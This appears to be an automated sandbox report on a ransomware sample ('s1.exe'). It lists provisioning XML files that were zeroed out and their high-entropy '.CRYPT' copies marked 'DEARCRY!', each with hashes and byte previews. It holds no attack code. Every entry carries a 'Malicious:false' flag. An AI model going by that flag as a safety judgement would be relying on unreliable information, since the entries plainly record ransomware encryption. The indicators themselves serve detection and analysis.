                                                              SHA-512:3F4B0EB9CA803C5D4D018D629D9ECF887611D299E579810BF76CEB9377EEE38BBB229800B96498EF2CAE55664208F245B723304FAF2E97FD3D97EABBE65179AD
                                                              Malicious:false
                                                              Preview: DEARCRY!....Q d.4.x....v.....S'.#...t....=.].&.x... .r-6{Y....m |...xV..C.*5v......T.............x.....B..]P.*[.w^.HB.../.:..'.$.e.D..F.i....F..O.2..M..G0..v]...c.$..f......gHg6..A ..D.Q.E.M^=.".*..$.E.=S....NF....$.J!;..&.#F..|.%.FYu8@.R"L..+e.~....^...\.G....D.......?..>>.Y3.3...Qs...)...`.P&].v.59.=..n8+....]~.R....Vk........J"UH...2...}..M..ji..p........7(. |..>....b.D....Uw.....n...^r|...c..ow`.P..:.&=....s.......\.q/..bI'yk'......>K.t..d.G.J*W.bj^..l8B\.j...z....Q$...K.r.Z:.;...N..M.h...u.....j...jE....0...3.@V......V.6.DQ.%..h.5....|.e_...+.v/.<r@....3)..A.=.....].....bZ..S........b4>f...1.ZJ...j[D.s...yK..y")....EW.... ..d./2.....t<..c...t....g=..i(.c.V..Djn.B.K...._.s.....zs!...v../.......E8...@...d(=...\.y.......q...:8........[4.8p..{..l....-..Px..>J.@..V.3...+x..\.._.].j..U..*S.ru....|..9..E....M..sh...^..H.[%..t..r..Vi[..O..:d...A3W.~..a!{.g.....E....&..F.L.......t`.7..".....1.F..p...wui...l.@I3gJx]C%......Q
                                                              C:\ProgramData\Microsoft\Provisioning\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.5757250414161
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BA9AD4855E7F78C662576EE53F085133
                                                              SHA1:64DE7435B5965F061E110C9305D5BB1BA5D01E31
                                                              SHA-256:090875A4D517D5C80776D8234912FAC40387911F34E9C1C723B7B8B37BF45681
                                                              SHA-512:734E7A345A489738D2878733BE0E2D5715A73A40D4DE6E0F1E1CAD60958617DA0D55583214B600E52DC3F2B9172A23EF09C828E93D0D6872FBE5B1A15A0307B3
                                                              Malicious:false
                                                              Preview: DEARCRY!.........k[.T.d..e.CaUkr..6..{.7...f.L.....-'7....T....i.....8...r.VG]D..H^...P}..Y.l.....T..n[xt..j;:.hF..Y+2...|.y......[D...N..b.......*.5.2.Z..Q...5S1.....rj.......I+`?..!.....l..................#..PxR$....y-ng*..m\..].H..b.......t.g...G................8U./....*F..y.1.W>..s.......).1Er.w.....Y.....Oj....jT\...{T_.=^..aT....}.].f..u9.vf......ig.:.,V..'....g......:T..A...Q_]_....o?.M..p...zO)k.s.K..%.5q.........._.>d...A..v?XV..&Y....0.Z.s.B...u.Zxnp.-.'V......3T&.n.%.....xY.G...a.c{!t.~t.6..o...o....W8..X
                                                              C:\ProgramData\Microsoft\Provisioning\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):251
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C5B2CC42CAD6BAFE68B2CE48763BF498
                                                              SHA1:7687EA986304DF2B7C64237143E7ECD89B022D3F
                                                              SHA-256:599045BE2B36ED4A06B4C7385889C9855BB5FB6DE4D03F228458A7A7FF650127
                                                              SHA-512:195B5FE7AA2437411CECFA3158D3424624B12E99586BC32CF68305E9703BA89C66B5F3C14A708475C48010781273016C01B554EAB3BECF834D5A99562170ED4A
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):536
                                                              Entropy (8bit):7.575882762709406
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B15CB90926B5BB6BD13146370F7A82DB
                                                              SHA1:CD7EBFEF5CFBA9C9ADB7484B6416A8310B3833CE
                                                              SHA-256:565731941DE8602A206CD73C7CF098D4361498632624AA753E0023DE516B11AE
                                                              SHA-512:D71108D082598ACDB70107F376C2DB34EB193BC9C0C038C032A50030874439BD835EE9A3BF4E310F7D11A5FCE5793B86FD9E7B4B600D1D13866AA804FCBC4696
                                                              Malicious:false
                                                              Preview: DEARCRY!......Zi..N.......*C.v..;..........9X..ui..~~.:p..9..d3.@Ag.*.$I.L[C.]]&.......t..C.l.mC.TB.[...'..h....3oY\'.........7p..G....Y...IG.I..-.D..UeF.A..v%...].F...t.....M...c.D<S..ZL..N*..........B7....'j7..@...yO..G..+%X..E.nik..o.Ou.Op#2.;.:T..KZ. 4............V0....G.../:f...TQC.W..@$...k.H~.4T.Ck<...6.!........R.W...{....*.u...R..Q...?Y.}.*.w...3...S...(O..UZ...he-A.@d.....8/`G..H..aq~...y.........|.b.....B.i...a.>._(sJ..A.oL.8.{..*..@.+.~.....{a...n.U..fj(....q.S.@..D...n... BP.x..4c.......U...
                                                              C:\ProgramData\Microsoft\Provisioning\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3317
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:283C07D1B78315CA877B919AEDFA3F4C
                                                              SHA1:D1C4F0D02049191878340170BDACD9EB317ADA1D
                                                              SHA-256:E1F52AF9F703C6A7F8E08AB0C8299B2229C62240E96CA542FE7528F838EF7F84
                                                              SHA-512:4DADA9F89B3CEF589EEF1F11654233365EB6A4CAB977B30EE8368871412E8B6E4C1A9CFFA38759D86FA0490ABBCC436D47608C1840298800DD42553E056E3CEC
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3608
                                                              Entropy (8bit):7.94408439821415
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0475730192D75DD2C3E963C5B9303F98
                                                              SHA1:CCB9F774756070FA4EBDB3B9105A45F5D155C493
                                                              SHA-256:D18C5F785D7A725FEF146BC2E2FA8B9256C10DD5934B7CBFFEFFE2AA2031B897
                                                              SHA-512:A130AACB30D43EC7B012BF2FDE56840A1FDE1D54C9D41189FCBE87994D26A4060FE8A5637EC54E956CC2D5192CBAD414948C6CE527841FE24D3BAA08B85EB6E2
                                                              Malicious:false
                                                              Preview: DEARCRY!....o...W./.....$...N.R.x..9.cw....m0....-.....]..b..*...\...)....-M...K...+M...F..M...(.6m...p...4_.p.L.rHB...=.w.%...(w..X...*.[....s.]...r`).....^8-.f....2I@pV. 7.{..<...7ydy...I.i..vn.J.........'..!.6..%M...S....;....."...a.v.....=..............5..i..L...1H...v....<.R.L*{+......A.+....+m4..@..+.j.I....v,<...)S0.8.[.:.....w...5..*.K&...M..Y&.H..?.4hu.&2.HS(.~.dJ.j.#&.....-..........H*..w)C.......aX....^.R.O...(.?H}1y..J....r9..&.K.{0$.+.c.NzQ...5.H...u|........$-Z...].x...n..H-.....~..1.)....K22....*.XwL.D.5.Di.~........f.c.6gm....a.9aG....KN.O.....|=.. .>....42......}:Bn.........}i...k..2'..5.<..k..w..C/.g..........Q.2.....S..,...a.....h.C\....zH...Q!D\m..p..W.b^.|{rB..b.."Y.W............A.....(\.].....jT...+.?....a.}..aV`.^&.y.E.q1x./.h..6i....X.`.^P....@=.py.r......3.....<NWp.L..H&....u.?K..m3.WP......P.D4..(..j..............'......!!R.R..,b..U..UV...hP..u...0@..........-...\.eQ..[.]h:C.......c....)..;GT8.
                                                              C:\ProgramData\Microsoft\Provisioning\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.591451225439684
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9B43E9F1E856C940408D920A113319B8
                                                              SHA1:6A93E560623B70DBF55AC668C710D200A502EEE1
                                                              SHA-256:4E8BA40B5276C78A7498A60C5B005964489B53525DC44B2A452466C38A1D26DE
                                                              SHA-512:D530A1337320A0B48436A32E9F010F4953078FD35716B0D6D81692096977328F43CFC1F5221C48FE701D616D94AC29EFC39C607BE6E8DA9D05A10B4D2EB186D4
                                                              Malicious:false
                                                              Preview: DEARCRY!....W......+.C.9^.....ST...*4#{(*ix4..=|.{............ar.".......w-6..UY.Q.\.B.6...=p.s..b.{.q.K..\..y..`7CZ..7..C..!.Y;...B-.5.......%.....=Sp..5wT.T..,..p;..Ht/..$.f.EU.....d..>..,.....'uf%.S...PT=.8.c].AP..."y.....=jn....X..?A....l.y.q.*..r.H..v.............(.......{.<lX)..T...]3..q.q`H..2...+D.vD?xN.N.......io@3..O<SL.I.f...2.^....>...]...<...f.mA...{}.pDO...].a.>='.W..#.......(..:s..Y.......P..D..0o.K.`E..M.2A..d..>..[...."........N.......L.......].4...%u.5...$..[..j.i$.R?.....V.V..6$o.(.......l:P.........wM
                                                              C:\ProgramData\Microsoft\Provisioning\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):258
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1E627E60E0EF75A184CE8C8A67405F10
                                                              SHA1:3B0AFFC6A976AA16B3B2CF4B3C58867D9A5F0E30
                                                              SHA-256:366BB5745B1BFF3D89D66F20CCDE5BE272BB202EA089AA0B5B37A403ED2A32BE
                                                              SHA-512:C63A4B3DD8BC5CE852CB33383906BDCB6948709EB781261223EBAD2335B293AA0BB76D93CB2AA31BADBF0C9A3F91A97787B0AC9E06FB36ADBB604F4A195C2CD6
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.631062096139046
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1969C6B119AEAC612ECD2AA411A4FB62
                                                              SHA1:1CAC8A8B949F0222D32EF8C937397450CACD251B
                                                              SHA-256:6B99238B8C580E8DBECFF906FF794C31B0FC53DB99B19A1E2C3D5A74DE8BCF56
                                                              SHA-512:278C38E9E780ECE23CCDB3C58122E23863216F2AC01CB8B295C19C2C6B5AD1F6048DBD2AA92D24673A6A2B6F3954392EFF0960504A72AEA83E16693C7DEC4719
                                                              Malicious:false
                                                              Preview: DEARCRY!.....5.L.`....3..N:.^..?.m.a...,..<...f.(,>.K..GW.D6....+.@M.PL.....{. ...<...s.....X...!i..Ue...2.;.`V.g...W...m_p3... X..z.!L....B.u"..Y>gQ96?.^s......N.4d.H.R.5..%....d.1w.....9UTN.O.8/..LY.$..'.+.Ckw..m...=*.0....:^M.;.2...>....0.ko......................|y.lRJ..rC.i....v.,.=..>.R9g..H.;.-i$....UI....fv#..*.....2.j.XAsDx+........K*$M.QbWw..(...tp3.oG.S...A,J.....4..V|...i8.....zA..........V..m.r.0i.''.W{.......h.p`.-.....0zUM.&.ev\.J...$..h_B...^Q..N...d..L.....D.&..V......tA.V..2.=....4kT./.O....x....r.q.s..dS.
                                                              C:\ProgramData\Microsoft\Provisioning\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):845
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FCCFC2C2A3DB7699BD1BDE8C6D795753
                                                              SHA1:AE998BEA80EA94F5F10F4E835775058B669AB6C7
                                                              SHA-256:51EC86B9EC4144D773492A98ACDF996BA73544CA1EAA9F4F2E0D7A687AA1A945
                                                              SHA-512:B0847C2B80B40C2A6ECB7193A97CA5B2F44B26E86FB05335B141779586F53CF1870948A71B88BA8C3FEE7408298D85EFA474070600A74C646349A813D320ACE3
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\customizations.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1128
                                                              Entropy (8bit):7.806837061638023
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:854DFEBD98888350531EC4D47C36B2AE
                                                              SHA1:6A7FC72B86DEF9A06CD1D4D329071B1F87E43B67
                                                              SHA-256:4A67ABFE4CCB965424430BDAF7DCE17C6A835CE63EBAC44F7EBDDEDD26D74F20
                                                              SHA-512:4E3681A543607CD613A54FA48122290FB8BE704DE8571AD7D25CFFEBFF2658562F10DA598A2E3B500C99BCEC0ED90FBAC56AD97134D2DA87BE09D6307948BFAD
                                                              Malicious:false
                                                              Preview: DEARCRY!.....A.J..A)..;X_P..(...n.gD..I.o.....|f,3...)c.wL..[.r.... ..qMh..X..N..>/......n.V.........@@k.1.qI<.j`..4..C.1=...b.....S.e..Z...H.:q...[...?....93.5....\.3.$%.R.b...u......."X....D.(....r........Rgk..v..V....$....w....I......S......7.V.U.CS:H....M............X..bboW....6.....{.....f...o....A..G........V.O.&....s....U..S..U.......Fp.....gm....`...U..D.d.jCDk....jA..5.1....uQQ..Vn.f(./b...e....r.s.`.....aI...H.....0...EL..*'.+FB.@WsN...Ey..q..&v....Si.n...vw...(...M.D.=.#..vH+aQH..)..60.wl.8...k.pA3.^....&+. me...q2.].O>.O...?..K.).....%..E.3.T..x...@U.HLg....fGt..U.<.....((......n..Sn.x...n......9u.7AF..ZO..'{..&....M&{-.............X..v..s[..9g...F.h."Amp.....O.(.81....~.b..~......r..M.....Z...._.........s..e.eE.W...[(u......7..?Y.._.......D..... ...H.zw.......f..C.....k_.R.!..]....`.7}.z9.5.)H}...W.k..}...R$g6.....8........i...J..mxU\H.....%.u.=.RzM%..^...nl.<y.:../.^G.I&[,...8...s...7...x1<...F...:...$|.|....\..y.nF.!.@
                                                              C:\ProgramData\Microsoft\Provisioning\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\MasterDatastore.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):271
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A60A7CE7E68B0817CD3C8B86D138532
                                                              SHA1:B2585AD3639584F809CD4357A30F9B60B2E087FF
                                                              SHA-256:DE13AD3B28F0F1517DCEBD290F646F04D9B864C226CB3611D55975516E663FE2
                                                              SHA-512:D7E59D4D719111ED9826F08BADC6BCAF13F21844DFE2F55FB5E50B607E9A0779858E36C555C8CB038D23E82C1D1298226C93005859BA0D1E5FEF1B6B3FBEA1D2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\MasterDatastore.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.509673247442103
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C5331B95820B4B3174F034D6679BA429
                                                              SHA1:D23A9734E750DDFD1BEA4034D96D43E3AA6987A0
                                                              SHA-256:176455DE4A105EFA7DCCCF20A80CCF5E2D5795F1BEF2D5F2F86700A78CF1670B
                                                              SHA-512:25B3CB4997A4279F879DDA593E4F1AAA96AB7C8FB04A840C32D9CA24DDC894ACD5356BADD5C18C660DE93852338A566C76B09AC3B00B7D11D6245A0B7A854B70
                                                              Malicious:false
                                                              Preview: DEARCRY!....NuZ.$j4-.q..".........z....Y...z........e%.........g-..v..)..Y..2.......!..=..'. O...#u."Z....j.)h...1J@...;.....^..-...;>~E.&y..Tk..O.n.R.. a....aY..@...p...`.J.w..p`..$.".2..is...<n.R..N..1.0..^nd..k....N..T....V}.q... ..-..........j7.e..............O.......3.N..D...K..K......&jQz%>WL... ].4t..._px..7\.!...Q.....$m).N.m....K/...S...A?......KEM....Am .....$.=.N..../mq'..k..q..i..!..M......E....Avql\5.R.x.i<z.O..l...Ukk.f-......*i....B..I.)...:?veD.yC...bQ.`...%.80.3.>...w8.......^ .....q.."mam.\.45.]s...FF).
                                                              C:\ProgramData\Microsoft\Provisioning\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\Prov\RunTime.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):258
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1E627E60E0EF75A184CE8C8A67405F10
                                                              SHA1:3B0AFFC6A976AA16B3B2CF4B3C58867D9A5F0E30
                                                              SHA-256:366BB5745B1BFF3D89D66F20CCDE5BE272BB202EA089AA0B5B37A403ED2A32BE
                                                              SHA-512:C63A4B3DD8BC5CE852CB33383906BDCB6948709EB781261223EBAD2335B293AA0BB76D93CB2AA31BADBF0C9A3F91A97787B0AC9E06FB36ADBB604F4A195C2CD6
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Provisioning\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\Prov\RunTime.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):552
                                                              Entropy (8bit):7.600803252014197
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6B5BFF0D6089B7C74C1EA7BA713943F9
                                                              SHA1:BB6724E97A87D07B1C8480FEDC56116D923B8A43
                                                              SHA-256:FDD6AE47F75B2FCC8B58173DE87750EBC10A977F1252C70F784A2B31012C53F3
                                                              SHA-512:62BF6A181A44F8F16EC20673F7A13C65A4D0D7D1BBC3E927BEC97CC71BC6FC8435C257EF96BF2F12E5C01FA9DFCC7F465D7A7D6A5436E2180CD0CAA1760E2044
                                                              Malicious:false
                                                              Preview: DEARCRY!....Z...;.1.!p.Ey.zxJ;r....8...R...0q.B.;.}..@..-...D...=.<..#.v...E!....]I....ve.....e..8W...d.V..|<..Q.""z.....C....o*..2...fT.{._.#.............P..s8....../p.b.M...=...t.2..F....k...@...g.?....T..>."._<....[:1..=..+.)P%....Y:"...>. i..%........................L.z[....i..o<Z.:.;ZY...|SI..G........^p.&.W....I.7.D...1].F...9.z...n..($...P.Xhw%`K.?P2<.:h.J..W.....i.H..Ki{m...aC.#m.7.z..>.dS..mz.Q$K.o..*..xc|...)..S.Sz..r.x|c2.gt#..w...S..6r..f.h.jZL.....N..;c..+.n3...-7.:icV.......J(`w.......S.......J.8..
                                                              C:\ProgramData\Microsoft\Provisioning\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\customizations.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):896
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FF24849BDAB91EBC8626A3526A6E156F
                                                              SHA1:59E5B67C6571A5136517D26075E20A2A426AB564
                                                              SHA-256:EF16E2CB15B63027115D4CFF8F1CBE7F73E8A5641B0707B48A81E09FCFEC4479
                                                              SHA-512:C7CC12A23DD1EEFCB7FD428E93AC1F83C81CE7E855136F0AB155D9DC0B49F5167DE813ABFCA5C6D2547B05E6B7EBB63674DEF6BE59D99B2AE79BFC28087EBBEE
                                                              Malicious:false
